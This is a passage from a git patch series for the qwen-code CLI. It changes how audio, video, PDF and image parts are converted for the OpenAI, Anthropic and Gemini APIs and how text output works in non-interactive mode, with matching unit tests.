expect(contentArray[0].type).toBe('text'); expect(contentArray[0].text).toBe('Audio recorded'); expect(contentArray[1].type).toBe('input_audio'); - expect(contentArray[1].input_audio?.data).toBe('audiobase64data'); + expect(contentArray[1].input_audio?.data).toBe( + 'data:audio/wav;base64,audiobase64data', + ); expect(contentArray[1].input_audio?.format).toBe('wav'); // No separate user message should be created @@ -424,6 +426,71 @@ describe('OpenAIContentConverter', () => { expect(userMessage).toBeUndefined(); }); + it('should convert video parts to tool message with embedded file', () => { + const request: GenerateContentParameters = { + model: 'models/test', + contents: [ + { + role: 'model', + parts: [ + { + functionCall: { + id: 'call_1', + name: 'Read', + args: {}, + }, + }, + ], + }, + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call_1', + name: 'Read', + response: { output: 'Video content' }, + parts: [ + { + inlineData: { + mimeType: 'video/mp4', + data: 'videobase64data', + displayName: 'recording.mp4', + }, + }, + ], + }, + }, + ], + }, + ], + }; + + const messages = converter.convertGeminiRequestToOpenAI(request); + + // Should have tool message with both text and video content + const toolMessage = messages.find((message) => message.role === 'tool'); + expect(toolMessage).toBeDefined(); + expect(Array.isArray(toolMessage?.content)).toBe(true); + const contentArray = toolMessage?.content as Array<{ + type: string; + text?: string; + file?: { filename: string; file_data: string }; + }>; + expect(contentArray).toHaveLength(2); + expect(contentArray[0].type).toBe('text'); + expect(contentArray[0].text).toBe('Video content'); + expect(contentArray[1].type).toBe('file'); + expect(contentArray[1].file?.filename).toBe('recording.mp4'); + expect(contentArray[1].file?.file_data).toBe( + 'data:video/mp4;base64,videobase64data', + ); + + // No separate user message should be created + const userMessage = messages.find((message) => message.role === 'user'); + expect(userMessage).toBeUndefined(); + }); + it('should create tool message with text-only content when no media parts', () => { const request = createRequestWithFunctionResponse({ output: 'Plain text output', diff --git a/packages/core/src/core/openaiContentGenerator/converter.ts b/packages/core/src/core/openaiContentGenerator/converter.ts index a46a343c1..15012be7f 100644 --- a/packages/core/src/core/openaiContentGenerator/converter.ts +++ b/packages/core/src/core/openaiContentGenerator/converter.ts @@ -586,12 +586,22 @@ export class OpenAIContentConverter { return { type: 'input_audio' as const, input_audio: { - data: part.inlineData.data, + data: `data:${part.inlineData.mimeType};base64,${part.inlineData.data}`, format, }, }; } } + if (mediaType === 'video') { + const filename = part.inlineData.displayName || 'video'; + return { + type: 'file' as const, + file: { + filename, + file_data: `data:${part.inlineData.mimeType};base64,${part.inlineData.data}`, + }, + }; + } } if (part.fileData?.mimeType && part.fileData?.fileUri) { @@ -623,9 +633,10 @@ export class OpenAIContentConverter { /** * Determine media type from MIME type */ - private getMediaType(mimeType: string): 'image' | 'audio' | 'file' { + private getMediaType(mimeType: string): 'image' | 'audio' | 'video' | 'file' { if (mimeType.startsWith('image/')) return 'image'; if (mimeType.startsWith('audio/')) return 'audio'; + if (mimeType.startsWith('video/')) return 'video'; return 'file'; } From 650c625d8666a2c08a424728f73b466f4e063184 Mon Sep 17 00:00:00 2001 From: LaZzyMan Date: Thu, 22 Jan 2026 17:06:17 +0800 Subject: [PATCH 15/79] feat: clarify output formats for non-interactive mode --- .../io/BaseJsonOutputAdapter.ts | 1 + .../nonInteractive/io/JsonOutputAdapter.ts | 14 ++- packages/cli/src/nonInteractiveCli.test.ts | 112 ++++-------------- packages/cli/src/nonInteractiveCli.ts | 73 ++++-------- 4 files changed, 54 insertions(+), 146 deletions(-) diff --git a/packages/cli/src/nonInteractive/io/BaseJsonOutputAdapter.ts b/packages/cli/src/nonInteractive/io/BaseJsonOutputAdapter.ts index 072497000..ed8fe0b1b 100644 --- a/packages/cli/src/nonInteractive/io/BaseJsonOutputAdapter.ts +++ b/packages/cli/src/nonInteractive/io/BaseJsonOutputAdapter.ts @@ -64,6 +64,7 @@ export interface ResultOptions { readonly stats?: SessionMetrics; readonly summary?: string; readonly subtype?: string; + readonly showResult?: boolean; } /** diff --git a/packages/cli/src/nonInteractive/io/JsonOutputAdapter.ts b/packages/cli/src/nonInteractive/io/JsonOutputAdapter.ts index 118fbc940..de5e6f4f1 100644 --- a/packages/cli/src/nonInteractive/io/JsonOutputAdapter.ts +++ b/packages/cli/src/nonInteractive/io/JsonOutputAdapter.ts @@ -67,9 +67,17 @@ export class JsonOutputAdapter ); this.messages.push(resultMessage); - // Emit the entire messages array as JSON (includes all main agent + subagent messages) - const json = JSON.stringify(this.messages); - process.stdout.write(`${json}\n`); + if (options.showResult) { + if (resultMessage.is_error) { + process.stderr.write(`${resultMessage.error?.message || ''}`); + } else { + process.stdout.write(`${resultMessage.result}`); + } + } else { + // Emit the entire messages array as JSON (includes all main agent + subagent messages) + const json = JSON.stringify(this.messages); + process.stdout.write(`${json}\n`); + } } emitMessage(message: CLIMessage): void { diff --git a/packages/cli/src/nonInteractiveCli.test.ts b/packages/cli/src/nonInteractiveCli.test.ts index 840ba69d5..34598b70d 100644 --- a/packages/cli/src/nonInteractiveCli.test.ts +++ b/packages/cli/src/nonInteractiveCli.test.ts @@ -228,6 +228,7 @@ describe('runNonInteractive', () => { } it('should process input and write text output', async () => { + setupMetricsMock(); const events: ServerGeminiStreamEvent[] = [ { type: GeminiEventType.Content, value: 'Hello' }, { type: GeminiEventType.Content, value: ' World' }, @@ -253,13 +254,12 @@ describe('runNonInteractive', () => { 'prompt-id-1', { isContinuation: false }, ); - expect(processStdoutSpy).toHaveBeenCalledWith('Hello'); - expect(processStdoutSpy).toHaveBeenCalledWith(' World'); - expect(processStdoutSpy).toHaveBeenCalledWith('\n'); + expect(processStdoutSpy).toHaveBeenCalledWith('Hello World'); expect(mockShutdownTelemetry).toHaveBeenCalled(); }); it('should handle a single tool call and respond', async () => { + setupMetricsMock(); const toolCallEvent: ServerGeminiStreamEvent = { type: GeminiEventType.ToolCallRequest, value: { @@ -298,9 +298,7 @@ describe('runNonInteractive', () => { mockConfig, expect.objectContaining({ name: 'testTool' }), expect.any(AbortSignal), - expect.objectContaining({ - outputUpdateHandler: expect.any(Function), - }), + undefined, ); // Verify first call has isContinuation: false expect(mockGeminiClient.sendMessageStream).toHaveBeenNthCalledWith( @@ -319,10 +317,10 @@ describe('runNonInteractive', () => { { isContinuation: true }, ); expect(processStdoutSpy).toHaveBeenCalledWith('Final answer'); - expect(processStdoutSpy).toHaveBeenCalledWith('\n'); }); it('should handle error during tool execution and should send error back to the model', async () => { + setupMetricsMock(); const toolCallEvent: ServerGeminiStreamEvent = { type: GeminiEventType.ToolCallRequest, value: { @@ -397,6 +395,7 @@ describe('runNonInteractive', () => { }); it('should exit with error if sendMessageStream throws initially', async () => { + setupMetricsMock(); const apiError = new Error('API connection failed'); mockGeminiClient.sendMessageStream.mockImplementation(() => { throw apiError; @@ -413,6 +412,7 @@ describe('runNonInteractive', () => { }); it('should not exit if a tool is not found, and should send error back to model', async () => { + setupMetricsMock(); const toolCallEvent: ServerGeminiStreamEvent = { type: GeminiEventType.ToolCallRequest, value: { @@ -464,6 +464,7 @@ describe('runNonInteractive', () => { }); it('should exit when max session turns are exceeded', async () => { + setupMetricsMock(); vi.mocked(mockConfig.getMaxSessionTurns).mockReturnValue(0); await expect( runNonInteractive( @@ -476,6 +477,7 @@ describe('runNonInteractive', () => { }); it('should preprocess @include commands before sending to the model', async () => { + setupMetricsMock(); // 1. Mock the imported atCommandProcessor const { handleAtCommand } = await import( './ui/hooks/atCommandProcessor.js' @@ -866,6 +868,7 @@ describe('runNonInteractive', () => { }); it('should execute a slash command that returns a prompt', async () => { + setupMetricsMock(); const mockCommand = { name: 'testcommand', description: 'a test command', @@ -907,6 +910,7 @@ describe('runNonInteractive', () => { }); it('should handle command that requires confirmation by returning early', async () => { + setupMetricsMock(); const mockCommand = { name: 'confirm', description: 'a command that needs confirmation', @@ -925,13 +929,14 @@ describe('runNonInteractive', () => { 'prompt-id-confirm', ); - // Should write error message to stderr + // Should write error message through adapter to stdout (TEXT mode goes through JsonOutputAdapter) expect(processStderrSpy).toHaveBeenCalledWith( - 'Shell command confirmation is not supported in non-interactive mode. Use YOLO mode or pre-approve commands.\n', + 'Shell command confirmation is not supported in non-interactive mode. Use YOLO mode or pre-approve commands.', ); }); it('should treat an unknown slash command as a regular prompt', async () => { + setupMetricsMock(); // No commands are mocked, so any slash command is "unknown" mockGetCommands.mockReturnValue([]); @@ -965,6 +970,7 @@ describe('runNonInteractive', () => { }); it('should handle known but unsupported slash commands like /help by returning early', async () => { + setupMetricsMock(); // Mock a built-in command that exists but is not in the allowed list const mockHelpCommand = { name: 'help', @@ -981,13 +987,14 @@ describe('runNonInteractive', () => { 'prompt-id-help', ); - // Should write error message to stderr + // Should write error message through adapter to stdout (TEXT mode goes through JsonOutputAdapter) expect(processStderrSpy).toHaveBeenCalledWith( - 'The command "/help" is not supported in non-interactive mode.\n', + 'The command "/help" is not supported in non-interactive mode.', ); }); it('should handle unhandled command result types by returning early with error', async () => { + setupMetricsMock(); const mockCommand = { name: 'noaction', description: 'unhandled type', @@ -1007,11 +1014,12 @@ describe('runNonInteractive', () => { // Should write error message to stderr expect(processStderrSpy).toHaveBeenCalledWith( - 'Unknown command result type: unhandled\n', + 'Unknown command result type: unhandled', ); }); it('should pass arguments to the slash command action', async () => { + setupMetricsMock(); const mockAction = vi.fn().mockResolvedValue({ type: 'submit_prompt', content: [{ text: 'Prompt from command' }], @@ -1825,84 +1833,4 @@ describe('runNonInteractive', () => { { isContinuation: false }, ); }); - - it('should print tool output to console in text mode (non-Task tools)', async () => { - // Test that tool output is printed to stdout in text mode - const toolCallEvent: ServerGeminiStreamEvent = { - type: GeminiEventType.ToolCallRequest, - value: { - callId: 'tool-1', - name: 'run_in_terminal', - args: { command: 'npm outdated' }, - isClientInitiated: false, - prompt_id: 'prompt-id-tool-output', - }, - }; - - // Mock tool execution with outputUpdateHandler being called - mockCoreExecuteToolCall.mockImplementation( - async (_config, _request, _signal, options) => { - // Simulate tool calling outputUpdateHandler with output chunks - if (options?.outputUpdateHandler) { - options.outputUpdateHandler('tool-1', 'Package outdated\n'); - options.outputUpdateHandler('tool-1', 'npm@1.0.0 -> npm@2.0.0\n'); - } - return { - responseParts: [ - { - functionResponse: { - id: 'tool-1', - name: 'run_in_terminal', - response: { - output: 'Package outdated\nnpm@1.0.0 -> npm@2.0.0', - }, - }, - }, - ], - }; - }, - ); - - const firstCallEvents: ServerGeminiStreamEvent[] = [ - toolCallEvent, - { - type: GeminiEventType.Finished, - value: { reason: undefined, usageMetadata: { totalTokenCount: 5 } }, - }, - ]; - - const secondCallEvents: ServerGeminiStreamEvent[] = [ - { type: GeminiEventType.Content, value: 'Dependencies checked' }, - { - type: GeminiEventType.Finished, - value: { reason: undefined, usageMetadata: { totalTokenCount: 3 } }, - }, - ]; - - mockGeminiClient.sendMessageStream - .mockReturnValueOnce(createStreamFromEvents(firstCallEvents)) - .mockReturnValueOnce(createStreamFromEvents(secondCallEvents)); - - await runNonInteractive( - mockConfig, - mockSettings, - 'Check dependencies', - 'prompt-id-tool-output', - ); - - // Verify that executeToolCall was called with outputUpdateHandler - expect(mockCoreExecuteToolCall).toHaveBeenCalledWith( - mockConfig, - expect.objectContaining({ name: 'run_in_terminal' }), - expect.any(AbortSignal), - expect.objectContaining({ - outputUpdateHandler: expect.any(Function), - }), - ); - - // Verify tool output was written to stdout - expect(processStdoutSpy).toHaveBeenCalledWith('Package outdated\n'); - expect(processStdoutSpy).toHaveBeenCalledWith('npm@1.0.0 -> npm@2.0.0\n'); - expect(processStdoutSpy).toHaveBeenCalledWith('Dependencies checked'); - }); }); diff --git a/packages/cli/src/nonInteractiveCli.ts b/packages/cli/src/nonInteractiveCli.ts index 4088c9283..09bbd94c1 100644 --- a/packages/cli/src/nonInteractiveCli.ts +++ b/packages/cli/src/nonInteractiveCli.ts @@ -4,11 +4,7 @@ * SPDX-License-Identifier: Apache-2.0 */ -import type { - Config, - ToolCallRequestInfo, - ToolResultDisplay, -} from '@qwen-code/qwen-code-core'; +import type { Config, ToolCallRequestInfo } from '@qwen-code/qwen-code-core'; import { isSlashCommand } from './ui/utils/commandUtils.js'; import type { LoadedSettings } from './config/settings.js'; import { @@ -92,6 +88,7 @@ async function emitNonInteractiveFinalMessage(params: { usage, stats, summary: message, + showResult: config.getOutputFormat() === OutputFormat.TEXT, }); } @@ -127,7 +124,10 @@ export async function runNonInteractive( if (options.adapter) { adapter = options.adapter; - } else if (outputFormat === OutputFormat.JSON) { + } else if ( + outputFormat === OutputFormat.JSON || + outputFormat === OutputFormat.TEXT + ) { adapter = new JsonOutputAdapter(config); } else if (outputFormat === OutputFormat.STREAM_JSON) { adapter = new StreamJsonOutputAdapter( @@ -297,24 +297,18 @@ export async function runNonInteractive( if (event.type === GeminiEventType.ToolCallRequest) { toolCallRequests.push(event.value); } - } else { - // Text output mode - direct stdout - if (event.type === GeminiEventType.Thought) { - process.stdout.write(event.value.description); - } else if (event.type === GeminiEventType.Content) { - process.stdout.write(event.value); - } else if (event.type === GeminiEventType.ToolCallRequest) { - toolCallRequests.push(event.value); - } else if (event.type === GeminiEventType.Error) { - // Format and output the error message for text mode - const errorText = parseAndFormatApiError( - event.value.error, - config.getContentGeneratorConfig()?.authType, - ); - process.stderr.write(`${errorText}\n`); - // Throw error to exit with non-zero code - throw new Error(errorText); - } + } + if ( + outputFormat === OutputFormat.TEXT && + event.type === GeminiEventType.Error + ) { + const errorText = parseAndFormatApiError( + event.value.error, + config.getContentGeneratorConfig()?.authType, + ); + process.stderr.write(`${errorText}\n`); + // Throw error to exit with non-zero code + throw new Error(errorText); } } @@ -350,35 +344,13 @@ export async function runNonInteractive( : undefined; const taskToolProgressHandler = taskToolProgress?.handler; - // Create output handler for non-Task tools in text mode (for console output) - const nonTaskOutputHandler = - !isTaskTool && !adapter - ? (callId: string, outputChunk: ToolResultDisplay) => { - // Print tool output to console in text mode - if (typeof outputChunk === 'string') { - process.stdout.write(outputChunk); - } else if ( - outputChunk && - typeof outputChunk === 'object' && - 'ansiOutput' in outputChunk - ) { - // Handle ANSI output - just print as string for now - process.stdout.write(String(outputChunk.ansiOutput)); - } - } - : undefined; - - // Combine output handlers - const outputUpdateHandler = - taskToolProgressHandler || nonTaskOutputHandler; - const toolResponse = await executeToolCall( config, finalRequestInfo, abortController.signal, - outputUpdateHandler || toolCallUpdateCallback + taskToolProgressHandler || toolCallUpdateCallback ? { - ...(outputUpdateHandler && { outputUpdateHandler }), + ...(taskToolProgressHandler && { taskToolProgressHandler }), ...(toolCallUpdateCallback && { onToolCallsUpdate: toolCallUpdateCallback, }), @@ -431,10 +403,8 @@ export async function runNonInteractive( numTurns: turnCount, usage, stats, + showResult: outputFormat === OutputFormat.TEXT, }); - } else { - // Text output mode - no usage needed - process.stdout.write('\n'); } return; } @@ -458,6 +428,7 @@ export async function runNonInteractive( errorMessage: message, usage, stats, + showResult: outputFormat === OutputFormat.TEXT, }); } handleError(error, config); From f063ef246078acb11b648c6dd26c1dc1b40824bc Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Thu, 22 Jan 2026 18:09:55 +0800 Subject: [PATCH 16/79] fix: standardize media handling with inlineData for base64 and URL support for fileData --- .../converter.test.ts | 153 +++++++++++++++- .../anthropicContentGenerator/converter.ts | 85 ++++++--- .../geminiContentGenerator.test.ts | 163 ++++++++++++++++++ .../geminiContentGenerator.ts | 123 +++++++++++++ .../openaiContentGenerator/converter.test.ts | 140 +++++++++++++-- .../core/openaiContentGenerator/converter.ts | 36 +++- packages/core/src/tools/read-file.test.ts | 4 +- .../core/src/tools/read-many-files.test.ts | 12 +- packages/core/src/utils/fileUtils.test.ts | 11 +- packages/core/src/utils/fileUtils.ts | 17 +- 10 files changed, 667 insertions(+), 77 deletions(-) diff --git a/packages/core/src/core/anthropicContentGenerator/converter.test.ts b/packages/core/src/core/anthropicContentGenerator/converter.test.ts index 5b3316886..95e5863eb 100644 --- a/packages/core/src/core/anthropicContentGenerator/converter.test.ts +++ b/packages/core/src/core/anthropicContentGenerator/converter.test.ts @@ -307,7 +307,7 @@ describe('AnthropicContentConverter', () => { expect(toolResult.content[1]?.text).toContain('audio/mpeg'); }); - it('converts fileData with PDF into document block', () => { + it('converts inlineData with PDF into document block', () => { const { messages } = converter.convertGeminiRequestToAnthropic({ model: 'models/test', contents: [ @@ -321,9 +321,9 @@ describe('AnthropicContentConverter', () => { response: { output: 'PDF content' }, parts: [ { - fileData: { + inlineData: { mimeType: 'application/pdf', - fileUri: 'pdfbase64data', + data: 'pdfbase64data', }, }, ], @@ -358,6 +358,153 @@ describe('AnthropicContentConverter', () => { ]); }); + it('converts fileData with image into image url block', () => { + const { messages } = converter.convertGeminiRequestToAnthropic({ + model: 'models/test', + contents: [ + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call-1', + name: 'Read', + response: { output: 'Image content' }, + parts: [ + { + fileData: { + mimeType: 'image/jpeg', + fileUri: + 'https://upload.wikimedia.org/wikipedia/commons/a/a7/Camponotus_flavomarginatus_ant.jpg', + }, + }, + ], + }, + }, + ], + }, + ], + }); + + expect(messages).toEqual([ + { + role: 'user', + content: [ + { + type: 'tool_result', + tool_use_id: 'call-1', + content: [ + { type: 'text', text: 'Image content' }, + { + type: 'image', + source: { + type: 'url', + url: 'https://upload.wikimedia.org/wikipedia/commons/a/a7/Camponotus_flavomarginatus_ant.jpg', + }, + }, + ], + }, + ], + }, + ]); + }); + + it('converts fileData with PDF into document url block', () => { + const { messages } = converter.convertGeminiRequestToAnthropic({ + model: 'models/test', + contents: [ + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call-1', + name: 'Read', + response: { output: 'PDF content' }, + parts: [ + { + fileData: { + mimeType: 'application/pdf', + fileUri: + 'https://assets.anthropic.com/m/1cd9d098ac3e6467/original/Claude-3-Model-Card-October-Addendum.pdf', + }, + }, + ], + }, + }, + ], + }, + ], + }); + + expect(messages).toEqual([ + { + role: 'user', + content: [ + { + type: 'tool_result', + tool_use_id: 'call-1', + content: [ + { type: 'text', text: 'PDF content' }, + { + type: 'document', + source: { + type: 'url', + url: 'https://assets.anthropic.com/m/1cd9d098ac3e6467/original/Claude-3-Model-Card-October-Addendum.pdf', + }, + }, + ], + }, + ], + }, + ]); + }); + + it('renders unsupported fileData as a text block', () => { + const { messages } = converter.convertGeminiRequestToAnthropic({ + model: 'models/test', + contents: [ + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call-1', + name: 'Read', + response: { output: 'File content' }, + parts: [ + { + fileData: { + mimeType: 'application/zip', + fileUri: 'https://example.com/archive.zip', + displayName: 'archive.zip', + }, + }, + ], + }, + }, + ], + }, + ], + }); + + const toolResult = messages[0]?.content?.[0] as { + type: string; + content: Array<{ type: string; text?: string }>; + }; + expect(toolResult.type).toBe('tool_result'); + expect(toolResult.content[0]).toEqual({ + type: 'text', + text: 'File content', + }); + expect(toolResult.content[1]?.type).toBe('text'); + expect(toolResult.content[1]?.text).toContain( + 'Unsupported file media for Anthropic', + ); + expect(toolResult.content[1]?.text).toContain('application/zip'); + expect(toolResult.content[1]?.text).toContain('archive.zip'); + }); + it('associates each image with its preceding functionResponse', () => { const { messages } = converter.convertGeminiRequestToAnthropic({ model: 'models/test', diff --git a/packages/core/src/core/anthropicContentGenerator/converter.ts b/packages/core/src/core/anthropicContentGenerator/converter.ts index 19430df52..5128bd559 100644 --- a/packages/core/src/core/anthropicContentGenerator/converter.ts +++ b/packages/core/src/core/anthropicContentGenerator/converter.ts @@ -320,46 +320,77 @@ export class AnthropicContentConverter { part: Part, ): AnthropicContentBlockParam | null { if (part.inlineData?.mimeType && part.inlineData?.data) { - if (!this.isSupportedAnthropicImageMimeType(part.inlineData.mimeType)) { - const displayName = part.inlineData.displayName - ? ` (${part.inlineData.displayName})` - : ''; + if (this.isSupportedAnthropicImageMimeType(part.inlineData.mimeType)) { return { - type: 'text', - text: `Unsupported inline media type for Anthropic: ${part.inlineData.mimeType}${displayName}.`, + type: 'image', + source: { + type: 'base64', + media_type: part.inlineData.mimeType as + | 'image/jpeg' + | 'image/png' + | 'image/gif' + | 'image/webp', + data: part.inlineData.data, + }, }; } + + if (part.inlineData.mimeType === 'application/pdf') { + return { + type: 'document', + source: { + type: 'base64', + media_type: 'application/pdf', + data: part.inlineData.data, + }, + }; + } + + const displayName = part.inlineData.displayName + ? ` (${part.inlineData.displayName})` + : ''; return { - type: 'image', - source: { - type: 'base64', - media_type: part.inlineData.mimeType as - | 'image/jpeg' - | 'image/png' - | 'image/gif' - | 'image/webp', - data: part.inlineData.data, - }, + type: 'text', + text: `Unsupported inline media type for Anthropic: ${part.inlineData.mimeType}${displayName}.`, }; } if (part.fileData?.mimeType && part.fileData?.fileUri) { - if (part.fileData.mimeType !== 'application/pdf') { - const displayName = part.fileData.displayName - ? ` (${part.fileData.displayName})` - : ''; + const displayName = part.fileData.displayName + ? ` (${part.fileData.displayName})` + : ''; + const fileUri = part.fileData.fileUri; + + if (!fileUri.startsWith('https://') && !fileUri.startsWith('http://')) { return { type: 'text', - text: `Unsupported file media for Anthropic: ${part.fileData.mimeType}${displayName}.`, + text: `Unsupported file URI for Anthropic: ${part.fileData.mimeType}${displayName}.`, }; } + + if (this.isSupportedAnthropicImageMimeType(part.fileData.mimeType)) { + return { + type: 'image', + source: { + type: 'url', + url: fileUri, + }, + } as unknown as AnthropicContentBlockParam; + } + + if (part.fileData.mimeType === 'application/pdf') { + return { + type: 'document', + source: { + type: 'url', + url: fileUri, + }, + } as unknown as AnthropicContentBlockParam; + } + return { - type: 'document', - source: { - type: 'base64', - media_type: part.fileData.mimeType as 'application/pdf', - data: part.fileData.fileUri, - }, + type: 'text', + text: `Unsupported file media for Anthropic: ${part.fileData.mimeType}${displayName}.`, }; } diff --git a/packages/core/src/core/geminiContentGenerator/geminiContentGenerator.test.ts b/packages/core/src/core/geminiContentGenerator/geminiContentGenerator.test.ts index bdf9bfb99..992d35483 100644 --- a/packages/core/src/core/geminiContentGenerator/geminiContentGenerator.test.ts +++ b/packages/core/src/core/geminiContentGenerator/geminiContentGenerator.test.ts @@ -205,4 +205,167 @@ describe('GeminiContentGenerator', () => { }), ); }); + + it('should strip displayName from inlineData and fileData before sending to API', async () => { + const request = { + model: 'gemini-1.5-flash', + contents: [ + { + role: 'user' as const, + parts: [ + { + inlineData: { + mimeType: 'image/png', + data: 'base64data', + displayName: 'image.png', + }, + }, + { + inlineData: { + mimeType: 'application/pdf', + data: 'base64pdfdata', + displayName: 'document.pdf', + }, + }, + { + fileData: { + mimeType: 'application/pdf', + fileUri: 'gs://bucket/file.pdf', + displayName: 'document.pdf', + }, + }, + ], + }, + ], + }; + + await generator.generateContent(request, 'prompt-id'); + + const calledWith = mockGoogleGenAI.models.generateContent.mock.calls[0][0]; + + // Verify displayName is stripped from inlineData + expect(calledWith.contents[0].parts[0].inlineData).toEqual({ + mimeType: 'image/png', + data: 'base64data', + }); + expect( + calledWith.contents[0].parts[0].inlineData.displayName, + ).toBeUndefined(); + + expect(calledWith.contents[0].parts[1].inlineData).toEqual({ + mimeType: 'application/pdf', + data: 'base64pdfdata', + }); + expect( + calledWith.contents[0].parts[1].inlineData.displayName, + ).toBeUndefined(); + + // Verify displayName is stripped from fileData + expect(calledWith.contents[0].parts[2].fileData).toEqual({ + mimeType: 'application/pdf', + fileUri: 'gs://bucket/file.pdf', + }); + expect( + calledWith.contents[0].parts[2].fileData.displayName, + ).toBeUndefined(); + }); + + it('should strip displayName from functionResponse parts', async () => { + const request = { + model: 'gemini-1.5-flash', + contents: [ + { + role: 'user' as const, + parts: [ + { + functionResponse: { + id: 'call-1', + name: 'Read', + response: { output: 'content' }, + parts: [ + { + inlineData: { + mimeType: 'image/png', + data: 'base64data', + displayName: 'screenshot.png', + }, + }, + ], + }, + }, + ], + }, + ], + }; + + await generator.generateContent(request, 'prompt-id'); + + const calledWith = mockGoogleGenAI.models.generateContent.mock.calls[0][0]; + const functionResponseParts = + calledWith.contents[0].parts[0].functionResponse.parts; + + // Verify displayName is stripped from nested inlineData + expect(functionResponseParts[0].inlineData).toEqual({ + mimeType: 'image/png', + data: 'base64data', + }); + expect(functionResponseParts[0].inlineData.displayName).toBeUndefined(); + }); + + it('should convert audio and video to text in functionResponse parts', async () => { + const request = { + model: 'gemini-1.5-flash', + contents: [ + { + role: 'user' as const, + parts: [ + { + functionResponse: { + id: 'call-1', + name: 'Read', + response: { output: 'content' }, + parts: [ + { + inlineData: { + mimeType: 'image/png', + data: 'imagedata', + }, + }, + { + inlineData: { + mimeType: 'audio/wav', + data: 'audiodata', + displayName: 'recording.wav', + }, + }, + { + inlineData: { + mimeType: 'video/mp4', + data: 'videodata', + }, + }, + ], + }, + }, + ], + }, + ], + }; + + await generator.generateContent(request, 'prompt-id'); + + const calledWith = mockGoogleGenAI.models.generateContent.mock.calls[0][0]; + const functionResponseParts = + calledWith.contents[0].parts[0].functionResponse.parts; + + // All parts should remain, but audio/video converted to text + expect(functionResponseParts).toHaveLength(3); + expect(functionResponseParts[0].inlineData.mimeType).toBe('image/png'); + expect(functionResponseParts[1].text).toBe( + 'Unsupported media type for Gemini: audio/wav (recording.wav).', + ); + expect(functionResponseParts[2].text).toBe( + 'Unsupported media type for Gemini: video/mp4.', + ); + }); }); diff --git a/packages/core/src/core/geminiContentGenerator/geminiContentGenerator.ts b/packages/core/src/core/geminiContentGenerator/geminiContentGenerator.ts index 33819cd7f..17a14b5a9 100644 --- a/packages/core/src/core/geminiContentGenerator/geminiContentGenerator.ts +++ b/packages/core/src/core/geminiContentGenerator/geminiContentGenerator.ts @@ -13,6 +13,8 @@ import type { GenerateContentResponse, GenerateContentConfig, ThinkingLevel, + Content, + Part, } from '@google/genai'; import { GoogleGenAI } from '@google/genai'; import type { @@ -146,6 +148,7 @@ export class GeminiContentGenerator implements ContentGenerator { ): Promise { const finalRequest = { ...request, + contents: this.stripUnsupportedFields(request.contents), config: this.buildGenerateContentConfig(request), }; return this.googleGenAI.models.generateContent(finalRequest); @@ -157,11 +160,131 @@ export class GeminiContentGenerator implements ContentGenerator { ): Promise> { const finalRequest = { ...request, + contents: this.stripUnsupportedFields(request.contents), config: this.buildGenerateContentConfig(request), }; return this.googleGenAI.models.generateContentStream(finalRequest); } + /** + * Strip fields not supported by Gemini API (e.g., displayName in inlineData/fileData) + */ + private stripUnsupportedFields( + contents: GenerateContentParameters['contents'], + ): GenerateContentParameters['contents'] { + if (!contents) return contents; + + if (typeof contents === 'string') return contents; + + if (Array.isArray(contents)) { + return contents.map((content) => + this.stripContentFields(content), + ) as GenerateContentParameters['contents']; + } + + return this.stripContentFields( + contents, + ) as GenerateContentParameters['contents']; + } + + private stripContentFields( + content: Content | Part | string, + ): Content | Part | string { + if (typeof content === 'string') { + return content; + } + + // Handle Part directly (for arrays of parts) + if (!('role' in content) && !('parts' in content)) { + return this.stripPartFields(content as Part); + } + + // Handle Content object + const contentObj = content as Content; + if (!contentObj.parts) return contentObj; + + return { + ...contentObj, + parts: contentObj.parts.map((part) => this.stripPartFields(part)), + }; + } + + private stripPartFields(part: Part): Part { + if (typeof part === 'string') { + return part; + } + + const result = { ...part }; + + // Strip displayName from inlineData + if (result.inlineData) { + const { displayName: _, ...inlineDataWithoutDisplayName } = + result.inlineData as { displayName?: string; [key: string]: unknown }; + result.inlineData = inlineDataWithoutDisplayName as Part['inlineData']; + } + + // Strip displayName from fileData + if (result.fileData) { + const { displayName: _, ...fileDataWithoutDisplayName } = + result.fileData as { displayName?: string; [key: string]: unknown }; + result.fileData = fileDataWithoutDisplayName as Part['fileData']; + } + + // Handle functionResponse parts (which may contain nested media parts) + // Convert unsupported media types (audio, video) to text for Gemini API + if (result.functionResponse?.parts) { + const processedParts = result.functionResponse.parts.map((p) => { + // First convert unsupported media to text (before stripping displayName) + const converted = this.convertUnsupportedMediaToText(p); + // Then strip unsupported fields from remaining parts + return this.stripPartFields(converted); + }); + + result.functionResponse = { + ...result.functionResponse, + parts: processedParts, + }; + } + + return result; + } + + /** + * Convert unsupported media types (audio, video) to explanatory text for Gemini API + */ + private convertUnsupportedMediaToText(part: Part): Part { + if (typeof part === 'string') return part; + + const inlineMimeType = part.inlineData?.mimeType || ''; + const fileMimeType = part.fileData?.mimeType || ''; + + if ( + inlineMimeType.startsWith('audio/') || + inlineMimeType.startsWith('video/') + ) { + const displayName = (part.inlineData as { displayName?: string }) + ?.displayName; + const displayNameText = displayName ? ` (${displayName})` : ''; + return { + text: `Unsupported media type for Gemini: ${inlineMimeType}${displayNameText}.`, + }; + } + + if ( + fileMimeType.startsWith('audio/') || + fileMimeType.startsWith('video/') + ) { + const displayName = (part.fileData as { displayName?: string }) + ?.displayName; + const displayNameText = displayName ? ` (${displayName})` : ''; + return { + text: `Unsupported media type for Gemini: ${fileMimeType}${displayNameText}.`, + }; + } + + return part; + } + async countTokens( request: CountTokensParameters, ): Promise { diff --git a/packages/core/src/core/openaiContentGenerator/converter.test.ts b/packages/core/src/core/openaiContentGenerator/converter.test.ts index 68af55716..f861e5aaa 100644 --- a/packages/core/src/core/openaiContentGenerator/converter.test.ts +++ b/packages/core/src/core/openaiContentGenerator/converter.test.ts @@ -233,7 +233,7 @@ describe('OpenAIContentConverter', () => { expect(userMessage).toBeUndefined(); }); - it('should convert function responses with fileData to tool message with embedded input_file', () => { + it('should convert function responses with fileData to tool message with embedded image_url', () => { const request: GenerateContentParameters = { model: 'models/test', contents: [ @@ -274,30 +274,27 @@ describe('OpenAIContentConverter', () => { const messages = converter.convertGeminiRequestToOpenAI(request); - // Should have tool message with both text and file content + // Should have tool message with both text and image content const toolMessage = messages.find((message) => message.role === 'tool'); expect(toolMessage).toBeDefined(); expect(Array.isArray(toolMessage?.content)).toBe(true); const contentArray = toolMessage?.content as Array<{ type: string; text?: string; - file?: { filename: string; 